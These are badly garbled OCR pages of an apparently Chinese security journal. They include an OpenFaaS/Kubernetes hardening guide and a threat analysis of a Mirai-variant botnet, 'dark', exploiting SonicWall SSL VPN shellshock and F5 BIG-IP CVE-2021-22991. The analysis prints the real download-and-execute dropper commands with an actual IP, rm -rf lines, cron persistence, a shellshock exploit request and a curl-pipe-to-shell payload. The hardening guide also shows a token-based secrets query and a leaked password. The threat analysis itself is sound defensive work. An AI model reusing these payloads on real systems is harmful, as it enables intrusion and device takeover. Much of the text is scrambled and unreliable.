FHITEERE, NATS NIRMHERBHNZLSEM ;

GitOps /2 : OpenFaa$ Cloud # 3I 7£ OpenFaaS By & &t L,

Docker

Al@E Github S B1THEER Gitlab #1T DevOps & fT,
bR ERNEEIN, OpenFaaS MIEEBITIRRMAKHLUTAMS

30
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faas-provider: OpenFaaS 12 £, BIA Serverless & #iE
& CRUD API XA BEEST ;
Watchdog: $a$59 OpenFaaS B IER AR H.

4. OpenFaaS RENEEDIR

OpenFaaS IR MR LN BRIANE #IEXR2. R2E
B=1AH.

4.13AEBAF

OpenFaaS BIINEEEEE AP X AEM REGAER N 25590
4.1.1 API PKIAIE

(1) BEAINERRH
BAINEARNEAET Kubernetes B9 secret #l4l, FEEE
B2, HITEHESRE OpenFaaS Z I E LA secrets BiR, B
RRIEA0T
kubectl -n openfaas create secret generic basic-auth \
--from-literal=basic-auth-user=admin\
--from-literal=basic-auth-password=admin
Z8 2 OpenFaaS B9, % secrets M EH = API %M pod
M, WA

e

31

nsfocus@openfaas-master:~$ kubectl exec -it gateway-
df9df88df-bxlbz sh -n openfaas

/home/app $ cd /var/secrets/

/var/secrets $ cat basic-auth-password

G09ZqGc9odfprr3t87281jV5bi

/var/secrets $ cat basic-auth-user

admin

B faas-cliBRZ/E, APIM X Pod REFR MR, R
FXZHBNRTiA1R] API K :

root@openfaas-master:~# cat ~/secret/secret-api-key.txt
| faas-cli login -u admin --password-stdin

credentials saved for admin http://192.168.19.197:31112

FRERIEFR, EERX AP MXFTNE, RAERIERE
T2, £FNMREREINECE HTTPS IEH.

(2) MY

OpenFaaS X FAFBTEINEREYS, SMARNHELEM
FIEIRE yam| X FIEE auth_proxy_url. auth_pass_body

WMETELRIM, WNE 2 Fim.



http://192.168.19.197:31112
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2 APl M BD B XX
(3) OIDC #1 OAuth2 FAIE

OpenFaaS Bl i a<32 4 OIDC 1 OAuth2 INENSI, AFRR
ERINLIRHEEEEREE OpenFaaS ZER yam| XXHHEITE],
EESERGE, FHATATLLEN Ul LUK OpenFaaS e 21T TAXIAIE
RS #TI5IR), BRFAMWEENE A2 % OpenFaaS B A A4,
4.1.2 REGAIE

£ 3Y R LINIE, OpenFaaS ERE AL ERELERLA

F 9 Rz 588 Webhooks, BT XL Webhooks F11F % # R % #5
OAuth S EAHIIAIESRES, 5140 Github, EItt OpenFaaS #%A1fE
B HMACIAEA R, XF HMAC MAER S AT B E B AR IEN
workshop®, It TEIEZRABEER,

4.2 BIRER 2P

OpenFaaS MiIEL 2 iF EERPEE R KL /API FXH
TLS &,

421 ZRAEE

X FZHBHIF, OpenFaaS K2 A Kubernetes B9 Secret
ME#HITHPFHE, J8 %R P EEEF Kubernetes H IR,
OpenFaaS #1T TR %, WA TFIR .

provider:
name: openfaas
functions:
protectedapi:
lang: dockerfile
skip_build: true
image: functions/api-key-protected:latest
secrets:

a2 A

- secret-api-key# AI1EE % secret

4.2.2 API RX TLS INZ&

% F TLS IN%%, OpenFaaS g APl M2 T TLSIEP, A

P

32
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FPEE OpenfFaaS ZEBH#THENEE, LIMNEEZERM
IngressController ZRFIEHEEEE, HA, IngressController
FAF#ENIMBR LoadBalance, IEBEEB[A TR TLS IER#IT
EHRNERE, BEANRETUSEE A

423 K¥TLS 2

5 API W X TLS N 2 £ A £, M — R [A 7 OpenFaaS
A fE A IngressController B8, MEAEEXE BT Y
IngressOperator 1 B, IngressOperator SEM {2t T—Ff B E
%R (CRD) Functioningress, A F iR &I TLS, THIA
“nodeinfo” E¥RECET TLS M1% :
apiVersion: openfaas.com/vlalpha2
kind: Functionlingress
metadata:
name: nodeinfo-tls
namespace: openfaas
spec:
domain: “nodeinfo-tls.myfaas.club”
function: “nodeinfo”
ingressType: “nginx”
tls:

enabled: true

issuerRef:

.

name: “letsencrypt-staging”

kind: “Issuer”

43R2EE

£ #3F OpenFaaS RN L 2B E#
TILANERS

(1) REXHRFERE

FF& BRER I BEXHFREE “readonly_root_filesystem:
true” S£I, BRIANA falseo

(2) HEEBATITH

HFREDVERBFEHPREERETER

TR E,

I7LE, TEaEN

L, THIET T

provider:

environment:
read_timeout: 20s # RYFEEHET HTTP REVERAVET
189 20s
exec_timeout: 20s # AR L L Z Hi
write_timeout: 20s# S IFEREUETD HTTP 5N RZAY Y
189 20s

%3517 20s
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(3) REGEMEY R

FRERM “SFIERE” M “CPU/ REFEFIAZE" MAAER
MERAEIET B, FANREATUSE T P,

(4) RN EBBE 28X non-root AFIEITEER

OpenFaaS E#BRIA LR AR R #1780 E, B LA non-root
BFRIETT, FHAEERNTES R Dockerfile, TEFIZT
Dockerfile R AR,

# Add non root user

RUN addgroup -S app && adduser app -S -G app

5. §t%¢ OpenFaa$S REXHH—FBHIA

BT L L3 OpenFaaS KEIIEEMIN A, HITAIUAKEL,
FBRTINE RLBE. BIEREZ5, OpenFaaS EifIEHl.
REBETHBFAERZEARNR LT, B XEHRIE G
HXER.

OpenFaaS 28 &£ Kubernetes Z -, HEEM R EIE
A— Pod BITEERH, AL L, Kubernetes HE
2B Z AT S BT OpenFaaS Rk £, £EMIL DS

%, DM Kubernetes #9 RBAC. Pod &2k (Pod Security

oy

Policy). PI£& 5B (NetworkPolicy) =5 E ¥t OpenFaa$ &
BOHITTAEXE,

5.1 f£F RBAC SEILEREUI )12 )

LGB/

B d 7E BROA B9 R #8186 B o & = 18] “openfaas-fn” R EFE
RBAC 5 B8, #iM30iiE RBAC BEF LILXT OpenFaaS R# B A A]
=,

KT

(1) 8B test-bot %

root@openfass-master:~# faas-cli up -f test-bot.yml

[0] > Building test-bot.

[0] Worker done.

Deployed. 202 Accepted.

URL: http://192.168.19.211:31112/function/test-bot.
openfaas-fn

(2) EEBERBEIAERD ServiceAccount

root@openfass-master:~# kubectl get pods test-bot-
5c¢9cdd699c-x64g5 -n openfaas-fn -o yaml

apiVersion: vl

spec:

containers:

34
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serviceAccount: default ## BRI\ ServiceAccount
serviceAccountName: default ## BRIA ServiceAccount
B] LUE H 3% K 36 A B9 8 Kubernetes BRIA R H &) E B9
ServiceAccount, FT—HREEII— RBAC FHg, HIGHKREH
B9 ServiceAccount 437E £ test-bot A,
(3) BUERHEPE RBAC g
RBAC SREEXXHAB I TR -
apiVersion: vl
kind: ServiceAccount
metadata:
labels:
app: openfaas
component: faas-test-rbac
name: faas-test-rbac
namespace: “openfaas-fn”
apiVersion: rbac.authorization.k8s.io/vlbetal
kind: Role
metadata:
labels:

app: openfaas

e

35

component: faas-test-rbac
name: faas-test-rbac
namespace: “openfaas-fn”
rules:
- apiGroups:
resources:
- secrets
- pods
verbs:
- get
- list
- watch
apiVersion: rbac.authorization.k8s.io/vlbetal
kind: RoleBinding
metadata:
labels:
app: openfaas
component: faas-test-rbac
name: faas-test-rbac
namespace: “openfaas-fn”

roleRef:
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apiGroup: rbac.authorization.k8s.io
kind: Role
name: faas-test-rbac
subjects:
- kind: ServiceAccount
ZREREIA
1) “openfaas-fn” 1 & =8 T8I — & A faas-test-rbac
B9 ServiceAccount,

B T(E T EIE— & A faas-test-rbac BY

Role, i% Role A% secrets K& pods ZiRAY get” “list” “watch” 1 FRo

2)” openfaas-fn”

3)” openfaas-fn” @5 & =8 M EIE— & A faas-test-rbac
B RoleBinding, M faas-test-rbac ServiceAccount 521k faas-
test-rbac Role B9 PR,

EPERIL G kubect! B9 “access-matrix ” {EHFAIUEH
RBRENT, 903 EFTT.

REXHRE RN HR R KRN

-t

MM KN

& 3 &% RBAC &R
(4) 38 RBAC SFEB&HHY ServiceAccount 48E = test-bot Pod

BT Kubernetes 2 1E3&5T kubectl edit E#1&2 Pod Y
ServiceAccount 1 ServiceAccountName, EIEEATAILLETIT
T AR E %I test-bot FERIAR ServiceAccounte BEEE
HI2, BTF Kubernetes B Pod ZHR2H ReplicaSet =H3§ T &Y,
i ReplicaSet X 2H Deployment FHE T A8, EHLFHITEEM
Deployment ZIREHITHT, EMARIEMNT:

kubectl patch -n openfaas-fn deploy test-bot -p ‘{*spec”:{*
template”:{‘spec”:{‘'serviceAccountName”:*faas-test-rbac”}}}}’
## B FTHT AR

B R EF test-pod B9 yaml X, F 17 L& I default
ServiceAccount B # #t v RBAC % B§ &1 B faas-test-rbac
ServiceAccount,

Elt, RBAC BIEELRINTE, HERMBBPRET curl 83

P
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2, ABZNTRLRIE Pod BEEFIARIEE SR B TIEIMY Sercrete ...

curl --cacert /var/run/secrets/kubernetes.io/ spec:
serviceaccount/ca.crt --header «Authorization:Bearer $(cat ...
/var/run/secrets/kubernetes.io/serviceaccount/token)” - --enable-admission-plugins=NodeRestriction,PodSecuri
https://SKUBERNETES_SERVICE_HOST:SKUBERNETES_ tyPolicy ## #I0 PodSecurityPolicy I

SERVICE_PORT/api/vl/namespaces/$(cat /var/run/secrets/ ...

kubernetes.io/serviceaccount/namespace)/secret (2) ZBE—MENTIEM Pod RLEK
LI REEEORNBTWN TR
Eid FARSEISAI B, OpenFaaS K%k 3 5 Kubernetes B9 apiVersion: policy/vlbetal

RBAC %Kk, RETiEET faas-cli Hi%EAIEE RBAC H%Bg, MHE kind: PodSecurityPolicy

REAER kubectl BIZ2, F3§ ServiceAccount LUTHT BSR4 ...
EEREH, spec:
privileged: false

# 2R FAE root AR

5.2 £ H Pod R £ R IIN R MR AN PR IZH]

LM

BT 1E Kubernetes £B & E Pod R KK, HMMWREK
YRR IRRTHESRY, EFTAENFARER, RELWIE Pod
R HIERES N R BOH I TR AR = o

allowPrivilegeEscalation: false
#1X53F root RAARIFIRARZE R,
# BRI LURHERBEERE,

requiredDropCapabilities:
LIdiE

(1) 79 Kubernetes B9 kube-apiserver BERE7¥ N Pod T2 EHIN

-ALL

# AFBZIOERSE LR
root@openfass-master:~# vi /etc/kubernetes/manifests/

volumes:
kube-apiserveryaml . . s
P y - ‘configMap
iVersion: vl ¢ L
apiVersion: v - ‘emptyDir

e
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- ‘projected’
- ‘secret’
- ‘downwardAPr’
#RIREBEIERIZEN persistentVolumes AJ AR 2 FE A,
- ‘persistentVolumeClaim’
hostNetwork: false
hostIPC: false
hostPID: false
runAsUser:
# BERABBEEE root BERHIIE R FiE1To
rule: ‘MustRunAsNonRoot’
seLinux:
#IZEBRRIG TR ERBE AppArmor AZ SELinux.
rule: ‘RunAsAny’
supplementalGroups:
rule: ‘MustRunAs’
ranges:
# 2 1A root 4R,
-min: 1
max: 65535
fsGroup:
rule: ‘MustRunAs’

ranges:

# 221 EFRN root 4,
-min: 1
max: 65535
# BRA B R B A NEHR XA RAEREBIT
ERIENR)

(RAis

readOnlyRootFilesystem: false
(3) ##MX Pod R
Ali@id RBAC 24X Pod 2 HEEE “openfaas-fn” sn& =i,
1) Bl Role
root@openfass-master:~# kubectl -n openfaas-fn create
role psp:restricted \
> --verb=use\
>--resource=podsecuritypolicy \
> --resource-name=restricted
role.rbac.authorization.k8s.io/psp:restricted created
Z A B E X — & B psprestricted B Role } 4 ¥
openfaas-fn SaR=IBHF A restricted B Pod 2 HBEHIIR,
2) B RoleBinding
root@openfass-master:~# kubectl -n openfaas-fn create
rolebinding default:psp:restricted \
>--role=psp:restricted \
> --serviceaccount=openfaas-fn:default

rolebinding.rbac.authorization.k8s.io/

P
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default:psp:restricted created

ZAEEN—"NE A default:psp:restricted B rolebinding
3§ Pod &2 5EE psprrestricted 487 = openfaas-fn s B = [d]
THIBRIA default .

(4) ZPE OpenFaaS K%}, I Pod R2KES

551 hEELEER, HATBER,

HETASG, B kubectl EBRHRBNBERS, LMWK
EERTN, AT
root@openfass-master:~# kubectl get pod -n openfaas-fn -o
wide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED
NODE READINESS GATES
callfromanother-6db9fd5f69-8z7nb 0/1
CreateContainerConfigError 0 53s 10.244.0.83 openfass-
master <none><none>

81215 B 9 “CreateContainerConfigError”, i@id kubectl
getevent #—FEF, WHINTER !

52m Warning Failed pod/callfromanother-6db9fd5f69-
8z7nb Error: container has runAsNonRoot and image has non-
numeric user (app), cannot verify user is non-root

b, EEZHITAN Pod R2HE, HITPTUBHEHE
28 B A% A 3F root AP APP {8 Pod & & Z B8 To 7% 30 E
APP #33E root A, EItt OpenFaaS M FARENEM,

==

=17,

e

39

LB, FATAIR Pod T2 HREEAY “runAsUser” FLIIIE AR

hostIPC: false

hostPID: false

rurASUSE“J
rule:

[T T

"RunAshny’

CECINOR.
# HEEEAT SER 2 AppArnorTIAS
4 Pod REHMIER

BREE Pod Z2%KEGE, BIMERZ Pod BJUAEFHBE—
™ Pod, FARILUEE] Pod IEEHET :

root@openfass-master:~# kubectl delete
pod callfromanother-6db9fd5f69-8z7nb -n openfaas-fn
pod “callfromanother-6db9fd5f69-8z7nb” deleted

root@openfass-master:~# kubectl get pods -n openfaas-fn
NAME READY STATUS RESTARTS AGE
callfromanother-6db9fd5f69-8z7nb 1/1 Running 0 4s

LIGLEIL

g ERSLIOAI A, Pod R HKEEA X OpenFaaS K3
HITHANEN R 2ITH.

5.3 E M RIS IR KR E

LRAN
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ASRI0E S XS R RN IN PR BRBK, 3T 90 E R R BB D TE R 4R
EEHBUER.

LFIR

Kubernetes FIM4RERBE FRIEERT CNI HifF, E£EEANZE
Cillum .

AL PUR

(1) BRE R

EEWET=AREK, BFEEER, WTHT:

root@openfaas-master-cillum:~/serverless-function/

network_policy# faas-cli list

Function Invocations Replicas
callfromanother 28 1
nodeinfo 4 1

sentimentanalysis 45 1

(2) RIS FIEIIE

AREIH B HTE openfaas-in HRTET, (RIGTEFK KA
X5 — BRI BT AR

TREEBABWT !

apiVersion: networking.k8s.io/vl

kind: NetworkPolicy

metadata:

name: access-sentimentanalysis

namespace: openfaas-fn

spec:
podSelector:
matchLabels:
faas_function: sentimentanalysis
ingress:
- from:
- podSelector:
matchLabels:
faas_function: callfromanother
ZEBESC I : openfaas-fn &3 & = 8] T X A ¥F label FE&
A3 “faas_function=callfromanother” # Pod ifial label FE&H
“faas_function=sentimentanalysis” B Pod,
b4 L sentimentanalysis. callfromanother . nodeinfo i
B, ERRFMNKIEZFNEN nodeinfo K%K (nodeinfo Pod B9
label FFE& A faas_function=nodeinfo) iAia) sentimentanalysis
R, TR
root@openfaas-master-cillum:~/serverless-function/
network_policy# kubectl exec -it nodeinfo-5544dcd45d-
4nkms sh -n openfaas-fn
~Swget --post-data=" xxxx” --spider --timeout=1 10.99.21.80
:8080 ###10.99.21.80:8080 Jy sentimentanalysis B9
clusterlP g A=
Connecting to 10.99.21.80:8080 (10.99.21.80:8080)

P
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AIABE EIAIRI A o

AN, TFFR .
root@openfaas-master-cillum:~/serverless-function/
network_policy# kubectl apply -f openfaas-policy-1.yaml
networkpolicy.networking.k8s.io/access-
sentimentanalysis created
BREIRTE nodeinfo BRELHRIAIR] sentimentanalysis K, 30 TFFrR:

root@openfaas-master-cillum:~/serverless-function/
network_policy# kubectl exec -it nodeinfo-5544dcd45d-
4nkms sh -n openfaas-fn

~$§ wget --post-data=" xxxx” --spider --timeout=1
10.99.21.80:8080
Connecting to 10.99.21.80:8080 (10.99.21.80:8080)
wget: download timed out
AIERIA R, 1E4IAR,
BRARE=RENEERKDP AR IT B label /I “faas_
function=callfromanother” B Pod i [a] sentimentanalysis
Rk, MR
root@openfaas-master-cillum:~/serverless-function/
network_policy# kubectl exec -it callfromanother-c5689794c-
c5hj6 sh -n openfaas-fn

~$§ wget --post-data=" xxx” --spider --timeout=1

10.99.21.80:8080

e
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Connecting to 10.99.21.80:8080 (10.99.21.80:8080)
remote file exists
BRI, HEEER.
KILEIR
B IR FILE L, MEHEEAILI OpenFaaS ER#IE
MERERRS.

6. 4518

ARX X OpenFaaS MR M H#HTTHWER, HPFRE
H OpenFaaS IRIEMZ2EESER BRI, KILFABK Serverless
FAFS Kubernetes B985, ITAILAE B Kubernetes &
EHHEIXY Serverless EREHITRER P, MMEEFIR Serverless
FEBIENESEMPF

SEH

[1]https://docs.openfaas.com/reference/
authentication/#oidc-and-oauth2-for-the-openfaas-api.
[2]https://github.com/openfaas/workshop/blob/masterlabll.
md.

[3]https://www.jetstack.io/.
[4]https://docs.openfaas.com/reference/ssl/kubernetes-with-
cert-manager/#10-tls-for-the-gateway .
[5]https://docs.openfaas.com/architecture/

autoscaling/#scaling-by-requests-per-second.
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REFmARER?

& F P 45 B

SonicWall SSL VPN

ZBEBK RELRE

1 EMHENY

EH, BINNEMBERERHRE —
“Virtual Office” SSL VPN RCE #1T{&Z &8 Mirai dark 25| Z#,
ZA5% L dark.[platform] se BB R X . LI 0, FRERL
RFREREUSS, ZEHEFERT 11 0day. 61
Nday /&, %0 SSLVPN. &8, NAS. Web MXZH Lii&#&E,

H 1, Netis WF2419 89 Nday i @ (CVE-2019-19356) #%
NVD A ELZNR—F, RARBRFAEEAR, B HKA
BHEBH, Ak 0day A, BFMEREFEXIRBEMSEH
FERRSSMAIE IR B IS &

&[5, M F5 BIG-IP & (CVE-2021-22991) B9 EXP A% (2021
£3A10) MRMNEXBERIFBZBASEETEHZR (2021
F£ 38 11) X8R 1 X ; M SonicWall “Virtual Office” SSL VPN
RCE RAFAARK (2020 £ 1 B 24 B) HRNEREHKIFEE

A F A SonicWall

lday MKz 2

P

MiT7 (2020 £1 B 27 H) XaEfE 3 R. HRAEFWEERIIFE
KAMEBME XD 1day B ERERS, HRENSEFRLEH
WHBEE LA T X RE R MR Fo

2. EiBh 3 AR

2000 5% R BB & T APT 4B 41 90 Dark hotel,
Kitten” % #F VPN B IEER), VPN FR 2= RKEE 4
Bl TR A XF. M SonicWall “Virtual Office” SSL VPN #1 F5
mE. NBREHFER, RerRRMUR RCERE
WA, EREUER. ATEFMLEHX F5 BIG-IP KR (CVE-
2021-22991) MYEITHHIEEE,
Office” SSL VPN RCE BIBLRH 73 47 48 % 152 R

BIG-IPETF

ATIEFE SonicWall “Virtual

Je s

2.1 5=8R

SonicWall B—RUTEANMEQE, FTEHERNBSEHIM
MER X5, HEETH “Virtual Office” PREFRET SSL
VPN RANZE AP RHR LM EEKMEN.

20211 B 24 H, DarrenMartyn E MABEEQAFT
MR
TRER EXP, 1 A 27 Bie, ZBRRMIBRARFAHBRETHITZ
RARMEXRN, WEER. 1829 H, BEFAFES ExploitDB
WRTZRBEFA, RAREEEREF A ExploiDB KATFE
EXP W RiH/ERYIE)RL,

SonicWall “Virtual Office” SSL VPN &%~ @B —
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BEMR, RNAAKGTEELEFRTRBRNNFE, BE
B INENESNEIRN, £ RAN RO AP BRI R E
AKX E A RZ AR B 4T TR 38

2.2 BYjE)LE

e 2021%E1/ 248 B ——

sDarren Martyns-~ A 2 F 24 7F T Sonicwall “Virtual Office” SSLWPN 7 7= Fi g —
R R AERITRER.

202151 A 258 —_—

slorenzo Orddiez & Twitter 8 5 T Darren Martyn@9 18 % .

e  [0215F1H26H _—

*SonicWall E Twitter BRI, FRRF{L0H2015F A T SMA 8.0.0.480 8 &

20215152760

ST EH BRI WEFERITY . TwHFEA T 5AFEXPRES T RFERRE,
38 5 i i AT IRIALAT “cat fetefpasswd dr &, IRITEIR PR T EE root#]
Wi SRR R E R RREEE .

202151 A 298

*ExploitDB4LF: T iZRRFIA

W e —

SRNWEFEHE-RRERNEDS, ARNEL R,

202172 F180 e —

T F I R & P AR BT A, i IS A ER Rk, 1A 3
FORILM RO RRGES), BREE T FRRANERSENNE. 6
BR#4 2 Hlololsh.

e 20215F3A58

R FH TG E EEFETTAMER. Do e TINESRSTH, B
TRESNE S, BT 1T “echo aasaasaaaaaabbbbbbbbbbbbbbbb" #1745 = &
HmE . FORERNIL, SENERCERN YA ERBENRE. S
EEXP. HEER QRS EESTERRERNEDNERTA.
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23WEHFIAEE

AT RN R AR EHIT TR, NE 1A, RER
RNTAEREBIE 2021 £2 B 17 H, £ Darren Martyn 2FF
REF AN BN EREE N T RS, 202142 5 18
HEHIIGBHRITHFARER D, 2021 F3 89 BEERF
BENARE, BWESBRER LABS,

553
G"OS

300

B &
& 8 3

P HEREE I L b e 4

100
50

- N - - -
E S = - = B = R R A RS A S R A e
= o o O 8 8 H 5 o M R e
L S = e E e e N < S N - P B e = = T =
P I T T T e e e e -
M MM O o o P T T T B~ B R R~ N~ T~ S~
C 8O 8 M A MM B B 08 56 8 & o 00 M MMMD
R ] = T T T T I - I I =~

SRR EINEIEVE e T2 =r
BT RREHT T4, WE 2 Fis. BR20215F 18

27 BRER IP RELUSN, HRNERERGFEHENT SN, 3
BRI T & KB IS (BB H R R wh B F W48 # 17 IR B RN ANF A,
XEREERAFBFEAETMHRIA B
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3 SonicWall “Virtual Office” RERRSHBRBRHBFHHERMMXHSZ

. 2.5 FRBHH
v Z3IHH, ZHEAEIEIERAR Mirai JREBLI0E2, 455 218m
ch T—1 0day FAM S 1day ®A. HFABSEATFA, 9
=10 ngﬁBﬁ :
E—E, THEMBRERENA /tmp. /home. /var/run.
2 ﬂ_ ..{ t A oA latmlmvan :-l—\il.,l lak~livnis A R =3 Hﬂ:ﬁﬂéllkﬂqgi\
s = fetcicy sleep 30
> BFE rm -rf /tmp
rm-—-rf /home
2 WHER P BTSSR rm--rf fvar/run
2.4 REE R rm--rf: /fetc/cron.d
rm- —-rf Jetc/cron.daily/
Darren Martyn B9 NABEEAF T SonicWall “Virtual Office” rm - —-rf /var/run
BIIREIEL, @it NTI HEREER SonicWall “Virtual Office” i%& rm- -rf /etc/init.d

BXRRS, 2MHEITFEEL 13460 LU L, BRREARTERNM

XAEE.
E 4 HERE—HD
oot BTERS, THISMARS FBBHIEY x86. mips. mpsl. arm4,

7000 arm5. armé6. arm7. ppc. m68k. sh4 HFLEWMWHELX, =&
. &% nginx EHITRREE, IABAREHBREHEARH
5 000 B,

3000

2000

2000
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sleep 1

od ftmp |1 od ,-"u-.-f-un 1led Jont 11 od froot 1| od fete/finit.d 11 od /;
wget htep:/r45.13 3/ping/dazk. x86;: curl -0 -htep:ff45.13 i1:/bing/
dark. x0€:cat dark.x86 >nginx;chmod +x *;./nginx

aed femp- 11 od .h un- || ed font- || od freot || od fete/init.d || od /:
ngeL Lt.p r’f"l' i3/bins/dack.mips; curl -0 http /745, i
dark. ps >nginx;chmed +x- *;./nginx
od-ftmp- || od- /varfrun- || od fmnt- || ed froot-|| ed-fetc/init.d-|| ed-/;
myl le ,f,r‘-‘- iifpinsSdark.mpsl: ourl -0 hotpo/fd L. 133/bing
mpsl >ngir hmod %% fngine
ad .u"l:‘n;) 1] cd .-”van"'ur' II odfmn— Il ed /root || ed fete/i rl.t,d 1 cd..-"
wpet b srourl -0 hetp S /45 ifbins
fu.u.}..e-mm(..ll . azmd )ng.\ ax ;chmod 4% ¥ . faginx
ed femp- |1 -ad- /fw ur'Ilcd.fmn'Ilcd!'c.o'Ilcd!et-"f‘ruallcd!
wget hitp . //45 i/binsfdark.ams; ourl =0 hEtp /f45 1/bins
fdark.armS: cat d mS >nginkohmod +x *: . /nginx
od ftmp 11 od- fv un || od fmnt || ood froot || od fete/init.d 11 od /;
wget htgpi/r45 i3/bins/dazk.axmé; curl -0 hetp://4S i ping
dark.arme; k.armé >nginx;chmod . +x % /nginx
od- femp || od fvarfzun || od fmnt || ed [/ t || od fetc/init.d || od ,.-’
wget http: /45 3 i3/bins/dazrk. arm?; curl -0 http: /45,133 23/bi
LM dark.arm? >nginx;chmod +x *;./nginx
cun || od /mns || od froot || od fetc/init.d || od /;
ingddazk.pps; ourl -0 RELpi//4% 31233 bins/
do||-ed f;

1.133/bins

cd..-"l:'np Ilcd,”vaz. | od,"'mn— Ilcd.u"za t Ilcd..u"=t,c.-” ru,dll ed /i

wget http: /40 pinsSdark. shd; ourl -0 REtp: f/4c bins
dark.shd:pat dark.shd inst:ohmod +x 7. fnging

& 5 HABE IS
E=ED, THREEFEZEN /etc/crond/ BR, EHB

WITTHBEBS. BARENFENBAEIRE, FX
il 220 23, 80. 443. 8080. 9000. 8089. 7070. 8081. 9090.
161. 5555. 9600. 21412 ik, it BAREHNBIEMAEF EM,
T ARMEMEP ML HEE

slaep 10

FEC

%E: BIZ

Rix0O, EIETRER &,

sudo  su

ed farc/

acha > fet rr”rrnn rl.-" STaArt
moho fvarfrunfngink™" > Jercferon.d/
start- || -od fete/; sh-lolol.sh

wche > fevefcron.daily/ng

> fore/

s fvarfrunfnging

lol

=h

ily/ng |l od fetef:
iptables

iptables 22 . -5 DROP
iptables 23 -3 DROP
iptables 0-=3 DROP
iptables j DROP
iptables j - DROP
iptables i DROP
iptables j - DROP
iptablas j - DROP
iptablas 3 DROP
iptablas j DROP
iptablas j DROP
iptablas

iptablas

iptables -A- INPUT -

6 HARE=25

e
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3. M5 HR

TN ERATURE RN DM, RINLASEM Mirai
THMAELE, dark RFIZEMFBEIKE®RET 0day. lday MUK
Nday i@iE, EFPfFEEEH 1day 8, BFEEIRR RCE KR,
FTRME SRR BHAEXE.

3.1 ERRAIREA

3.1.1Crestron AM-100 Oday

Crestron BXE—RMWEBERXR, BUTHEAMNZZF
BILIT B AR IR ERIER M N HE. ZAaRigit, HIEM
DEBFEHRFEWAAFE (MSWHFA, SNE, HENLE)
PRI ARIIEE ; Crestron REEATEHEEMNINIES.

BMNBEZRBdark RFNEF WK F BT 1% 25 AM-100
AirMedia® J&RM XA 0day IRIEZEEE, ZRAE®ET AM-100
B9 CGl RS ft %, @3 7E POST iEKH body FtiE@m <RI 5
BRER L E N
3.1.2 SonicWall “Virtual Office” SSL VPN RCE

SonicWall “Virtual Office” SSLVPNRCE (BRI *¥1E 8 I
EDB-ID:49499) #ZMahRkz/\F SMA 8.0.0.4 B SonicWall %1%,
SEENIERINE 7 PR -

GET /cgi-bin/jarrewrite.sh HTTP/1.1

Host:

Connection: keep-alive

Accepr-Encoding: gzip, deflate

Accepl: */%

User-Agent: () { z: }: echo : /bin/bash cl'echo aaaaaaaaaaaabbbhbbbbbbhbbbbb'I

[ 7 SonicWall “Virtual Office” SSL VPN RCE 52&i&R
fi & 1ZiR I PATH_INFO 9 : /cgi-bin/jarrewrite.sh, &

PITHIAENALTF User-Agent, 9% shellshock & & $H1T.

A
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3.1.3CVE-2021-22991

FS RBR—REIMNENARFRSMUBRERZAMNE
(ADN) WEERE, EFaRETARTE™R, EREV R
FEEMR, MARE4M DDoS B,

CVE-2021-22991 % M B9 % #& & #&: BIG-IP APM. BIG-
IP ASM. BIG-IP PEM. Secure Web Gateway (SWG). SSL
Orchestrator. BIG-IP (all modules), ZiREEIHELEM HTTP
BIIER AR KR 5 A1T, ST payload 3NE 8 7R :

GET echo -e "GET h://[f] HTTP/1.1

| eurl -0 hrtp:/f/283.159.808.241/10lol.sh; chmod 777 lolol.sh: sh lolal._sh

F loC

i 7 4 sHA256
ecac298b18493bf2366160818215a474cced554e07a7h2380a7f8eBa3adas7d
a9c4ead0b08ced 268162dc97 76355186dfc5649f9ec2b36632fa5540f8d2aef2d
1b940b1049e0e95c03adb7a2750347 108cadi6h19el4149a5103(7625¢0Tc8ec
125618 cad4184eff212805fa061ech0fi6ibBbcI499f2e541ad3c43ib214420a
515dc2fd8819cTfc82395accacTib5b2903982a5/48bc26bc8d0235bc0664d 1 f
e2a6acs 16ec8b5decTAbecc26ci92434682d490d82c9d70712%8dbaTatd 1a2
ac75cb71c2052141a2380817215d5a095617034¢f0012310228c258254d23ba
a5ca43106a7 13c4a8e978575b8685885¢244501288b0faTcTdc7fleBo5ef1291
1d9496814d35d9e302d 729933097 30f:81c022bc085¢07 11b73ebad962cke2b
caa8b10057(b699d4631309913d0557462e8h37aldaf4d0c3c6319bIE05M0A
971b5a96d84ca0d7dd2060639cd97a04835013be32356d 090376451667 3bf

4 HAE URLS
B 8 CVE-2021-22991 e &iER
TR hitp://45.133 1.133/lolol sh
3.2 BRECE hitp//45.133.1.133/bins/idark.arm4.
hitp://45.133.1.133/bins/dark.armé
hitp://45.133.1.133/bins/dark.arm5
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Abstract: E-mail is a commonly used attack vector in APT attacks. This article proposes an APT e-mail attack detection
method based on multi-dimensional analysis for APT e-mail attacks. First, the mail header, body information and file
attachments are parsed and extracted. Then, the mail header, mail body, intelligence detection, file content depth detection,
and mail multi-dimensional analysis of abnormal behavior detection and self-learning of the mail site; finally, based on the
analysis results, the mail is classified as ordinary mail and mail with APT attack characteristics. The solution proposed in this
paper firstly detects threats based on rule characteristics, then integrates intelligence detection and in-depth detection of file
content, then analyzes abnormal email behavior, and finally conducts customer business self-learning, which can effectively

improve the APT email attack The detection accuracy rate provides a good detection scheme for APT mail attack detection.

Key words: APT attack e-mail link threat intelligence deep inspection anomalous behaviors
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